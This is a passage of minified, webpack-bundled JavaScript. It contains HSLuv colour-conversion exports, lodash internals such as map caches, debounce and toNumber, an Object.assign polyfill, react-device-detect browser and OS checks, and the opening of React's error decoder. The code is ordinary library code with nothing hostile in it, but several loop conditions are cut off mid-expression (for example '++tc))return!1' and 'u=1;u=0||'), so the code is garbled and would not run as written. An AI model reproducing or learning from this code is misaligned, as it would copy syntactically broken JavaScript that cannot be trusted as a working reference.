n={hsluvToRgb:t.Hsluv.hsluvToRgb,rgbToHsluv:t.Hsluv.rgbToHsluv,hpluvToRgb:t.Hsluv.hpluvToRgb,rgbToHpluv:t.Hsluv.rgbToHpluv,hsluvToHex:t.Hsluv.hsluvToHex,hexToHsluv:t.Hsluv.hexToHsluv,hpluvToHex:t.Hsluv.hpluvToHex,hexToHpluv:t.Hsluv.hexToHpluv,lchToHpluv:t.Hsluv.lchToHpluv,hpluvToLch:t.Hsluv.hpluvToLch,lchToHsluv:t.Hsluv.lchToHsluv,hsluvToLch:t.Hsluv.hsluvToLch,lchToLuv:t.Hsluv.lchToLuv,luvToLch:t.Hsluv.luvToLch,xyzToLuv:t.Hsluv.xyzToLuv,luvToXyz:t.Hsluv.luvToXyz,xyzToRgb:t.Hsluv.xyzToRgb,rgbToXyz:t.Hsluv.rgbToXyz,lchToRgb:t.Hsluv.lchToRgb,rgbToLch:t.Hsluv.rgbToLch};e.exports=n},908:function(e,t,n){var r=n(8136)(n(7009),"DataView");e.exports=r},9676:function(e,t,n){var r=n(5403),a=n(2747),o=n(6037),i=n(4154),l=n(7728);function s(e){var t=-1,n=null==e?0:e.length;for(this.clear();++tc))return!1;var f=s.get(e),p=s.get(t);if(f&&p)return f==t&&p==e;var h=-1,m=!0,v=2&n?new r:void 0;for(s.set(e,t),s.set(t,e);++h-1&&e%1==0&&e-1}},7109:function(e,t,n){var r=n(7112);e.exports=function(e,t){var n=this.__data__,a=r(n,e);return a<0?(++this.size,n.push([e,t])):n[a][1]=t,this}},4086:function(e,t,n){var r=n(9676),a=n(8384),o=n(5797);e.exports=function(){this.size=0,this.__data__={hash:new r,map:new(o||a),string:new r}}},9255:function(e,t,n){var r=n(2799);e.exports=function(e){var t=r(this,e).delete(e);return this.size-=t?1:0,t}},9186:function(e,t,n){var r=n(2799);e.exports=function(e){return r(this,e).get(e)}},3423:function(e,t,n){var r=n(2799);e.exports=function(e){return r(this,e).has(e)}},3739:function(e,t,n){var r=n(2799);e.exports=function(e,t){var n=r(this,e),a=n.size;return n.set(e,t),this.size+=n.size==a?0:1,this}},234:function(e){e.exports=function(e){var t=-1,n=Array(e.size);return e.forEach((function(e,r){n[++t]=[r,e]})),n}},9620:function(e,t,n){var r=n(8136)(Object,"create");e.exports=r},8836:function(e,t,n){var r=n(2709)(Object.keys,Object);e.exports=r},9494:function(e,t,n){e=n.nmd(e);var r=n(1032),a=t&&!t.nodeType&&t,o=a&&e&&!e.nodeType&&e,i=o&&o.exports===a&&r.process,l=function(){try{var e=o&&o.require&&o.require("util").types;return e||i&&i.binding&&i.binding("util")}catch(t){}}();e.exports=l},3581:function(e){var t=Object.prototype.toString;e.exports=function(e){return t.call(e)}},2709:function(e){e.exports=function(e,t){return function(n){return e(t(n))}}},7009:function(e,t,n){var r=n(1032),a="object"==typeof self&&self&&self.Object===Object&&self,o=r||a||Function("return this")();e.exports=o},5774:function(e){e.exports=function(e){return this.__data__.set(e,"__lodash_hash_undefined__"),this}},1596:function(e){e.exports=function(e){return this.__data__.has(e)}},2230:function(e){e.exports=function(e){var t=-1,n=Array(e.size);return e.forEach((function(e){n[++t]=e})),n}},511:function(e,t,n){var r=n(8384);e.exports=function(){this.__data__=new r,this.size=0}},835:function(e){e.exports=function(e){var t=this.__data__,n=t.delete(e);return this.size=t.size,n}},707:function(e){e.exports=function(e){return this.__data__.get(e)}},8832:function(e){e.exports=function(e){return this.__data__.has(e)}},5077:function(e,t,n){var r=n(8384),a=n(5797),o=n(8059);e.exports=function(e,t){var n=this.__data__;if(n instanceof r){var i=n.__data__;if(!a||i.length<199)return i.push([e,t]),this.size=++n.size,this;n=this.__data__=new o(i)}return n.set(e,t),this.size=n.size,this}},7907:function(e){var t=Function.prototype.toString;e.exports=function(e){if(null!=e){try{return t.call(e)}catch(n){}try{return e+""}catch(n){}}return""}},6050:function(e){var t=/\s/;e.exports=function(e){for(var n=e.length;n--&&t.test(e.charAt(n)););return n}},8573:function(e,t,n){var r=n(8092),a=n(72),o=n(2582),i=Math.max,l=Math.min;e.exports=function(e,t,n){var s,u,c,d,f,p,h=0,m=!1,v=!1,g=!0;if("function"!=typeof e)throw new TypeError("Expected a function");function b(t){var n=s,r=u;return s=u=void 0,h=t,d=e.apply(r,n)}function y(e){return h=e,f=setTimeout(x,t),m?b(e):d}function w(e){var n=e-p;return void 0===p||n>=t||n<0||v&&e-h>=c}function x(){var e=a();if(w(e))return E(e);f=setTimeout(x,function(e){var n=t-(e-p);return v?l(n,c-(e-h)):n}(e))}function E(e){return f=void 0,g&&s?b(e):(s=u=void 0,d)}function S(){var e=a(),n=w(e);if(s=arguments,u=this,p=e,n){if(void 0===f)return y(p);if(v)return clearTimeout(f),f=setTimeout(x,t),b(p)}return void 0===f&&(f=setTimeout(x,t)),d}return t=o(t)||0,r(n)&&(m=!!n.leading,c=(v="maxWait"in n)?i(o(n.maxWait)||0,t):c,g="trailing"in n?!!n.trailing:g),S.cancel=function(){void 0!==f&&clearTimeout(f),h=0,s=p=u=f=void 0},S.flush=function(){return void 0===f?d:E(a())},S}},9231:function(e){e.exports=function(e,t){return e===t||e!==e&&t!==t}},4963:function(e,t,n){var r=n(4906),a=n(3141),o=Object.prototype,i=o.hasOwnProperty,l=o.propertyIsEnumerable,s=r(function(){return arguments}())?r:function(e){return a(e)&&i.call(e,"callee")&&!l.call(e,"callee")};e.exports=s},3629:function(e){var t=Array.isArray;e.exports=t},1473:function(e,t,n){var r=n(4786),a=n(4635);e.exports=function(e){return null!=e&&a(e.length)&&!r(e)}},5174:function(e,t,n){e=n.nmd(e);var r=n(7009),a=n(9488),o=t&&!t.nodeType&&t,i=o&&e&&!e.nodeType&&e,l=i&&i.exports===o?r.Buffer:void 0,s=(l?l.isBuffer:void 0)||a;e.exports=s},8111:function(e,t,n){var r=n(1848);e.exports=function(e,t){return r(e,t)}},4786:function(e,t,n){var r=n(9066),a=n(8092);e.exports=function(e){if(!a(e))return!1;var t=r(e);return"[object Function]"==t||"[object GeneratorFunction]"==t||"[object AsyncFunction]"==t||"[object Proxy]"==t}},4635:function(e){e.exports=function(e){return"number"==typeof e&&e>-1&&e%1==0&&e<=9007199254740991}},8092:function(e){e.exports=function(e){var t=typeof e;return null!=e&&("object"==t||"function"==t)}},3141:function(e){e.exports=function(e){return null!=e&&"object"==typeof e}},152:function(e,t,n){var r=n(9066),a=n(3141);e.exports=function(e){return"symbol"==typeof e||a(e)&&"[object Symbol]"==r(e)}},9102:function(e,t,n){var r=n(8150),a=n(6194),o=n(9494),i=o&&o.isTypedArray,l=i?a(i):r;e.exports=l},2742:function(e,t,n){var r=n(7538),a=n(3654),o=n(1473);e.exports=function(e){return o(e)?r(e):a(e)}},72:function(e,t,n){var r=n(7009);e.exports=function(){return r.Date.now()}},8174:function(e){e.exports=function(){return[]}},9488:function(e){e.exports=function(){return!1}},2582:function(e,t,n){var r=n(821),a=n(8092),o=n(152),i=/^[-+]0x[0-9a-f]+$/i,l=/^0b[01]+$/i,s=/^0o[0-7]+$/i,u=parseInt;e.exports=function(e){if("number"==typeof e)return e;if(o(e))return NaN;if(a(e)){var t="function"==typeof e.valueOf?e.valueOf():e;e=a(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=r(e);var n=l.test(e);return n||s.test(e)?u(e.slice(2),n?2:8):i.test(e)?NaN:+e}},1725:function(e){"use strict";var t=Object.getOwnPropertySymbols,n=Object.prototype.hasOwnProperty,r=Object.prototype.propertyIsEnumerable;function a(e){if(null===e||void 0===e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach((function(e){r[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},r)).join("")}catch(a){return!1}}()?Object.assign:function(e,o){for(var i,l,s=a(e),u=1;u=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}function _(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function C(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!==typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,a,o=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(o.push(r.value),!t||o.length!==t);i=!0);}catch(s){l=!0,a=s}finally{try{i||null==n.return||n.return()}finally{if(l)throw a}}return o}(e,t)||function(e,t){if(!e)return;if("string"===typeof e)return P(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return P(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function P(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n1&&void 0!==arguments[1]?arguments[1]:"none";return e||t},D=function(){return!("undefined"===typeof window||!window.navigator&&!navigator)&&(window.navigator||navigator)},H=function(e){var t=D();return t&&t.platform&&(-1!==t.platform.indexOf(e)||"MacIntel"===t.platform&&t.maxTouchPoints>1&&!window.MSStream)},z=function(e,t,n,r){return function(e){for(var t=1;t1)&&!window.MSStream},_e=function(){return H("iPad")},Ce=function(){return H("iPhone")},Pe=function(){return H("iPod")},Ne=function(e){return B(e)};function Te(e){var t=e||v,n=t.device,r=t.browser,a=t.os,o=t.engine,i=t.ua;return{isSmartTV:q(n),isConsole:G(n),isWearable:K(n),isEmbedded:$(n),isMobileSafari:fe(r)||_e(),isChromium:se(r),isMobile:V(n)||_e(),isMobileOnly:U(n),isTablet:W(n)||_e(),isBrowser:Z(n),isDesktop:Z(n),isAndroid:J(a),isWinPhone:ne(a),isIOS:re(a)||_e(),isChrome:ie(r),isFirefox:le(r),isSafari:de(r),isOpera:pe(r),isIE:he(r),osVersion:ae(a),osName:oe(a),fullBrowserVersion:ge(r),browserVersion:be(r),browserName:ye(r),mobileVendor:Y(n),mobileModel:Q(n),engineName:we(o),engineVersion:xe(o),getUA:Ne(i),isEdge:ue(r)||Se(i),isYandex:ce(r),deviceType:X(n),isIOS13:ke(),isIPad13:_e(),isIPhone13:Ce(),isIPod13:Pe(),isElectron:Ee(),isEdgeChromium:Se(i),isLegacyEdge:ue(r)&&!Se(i),isWindows:ee(a),isMacOs:te(a),isMIUI:me(r),isSamsungBrowser:ve(r)}}var Ae=q(c),Me=G(c),Le=K(c),Oe=$(c),Fe=fe(s)||_e(),Ie=se(s),je=V(c)||_e(),Re=U(c),Be=W(c)||_e(),De=Z(c),He=Z(c),ze=J(f),Ue=ne(f),We=re(f)||_e(),Ve=ie(s),qe=le(s),Ze=de(s),Ke=pe(s),Ge=he(s),$e=ae(f),Ye=oe(f),Qe=ge(s),Xe=be(s),Je=ye(s),et=Y(c),tt=Q(c),nt=we(d),rt=xe(d),at=Ne(p),ot=ue(s)||Se(p),it=ce(s),lt=X(c),st=ke(),ut=_e(),ct=Ce(),dt=Pe(),ft=Ee(),pt=Se(p),ht=ue(s)&&!Se(p),mt=ee(f),vt=te(f),gt=me(s),bt=ve(s);function yt(e){var t=e||window.navigator.userAgent;return m(t)}t.tq=je},4463:function(e,t,n){"use strict";var r=n(2791),a=n(1725),o=n(5296);function i(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n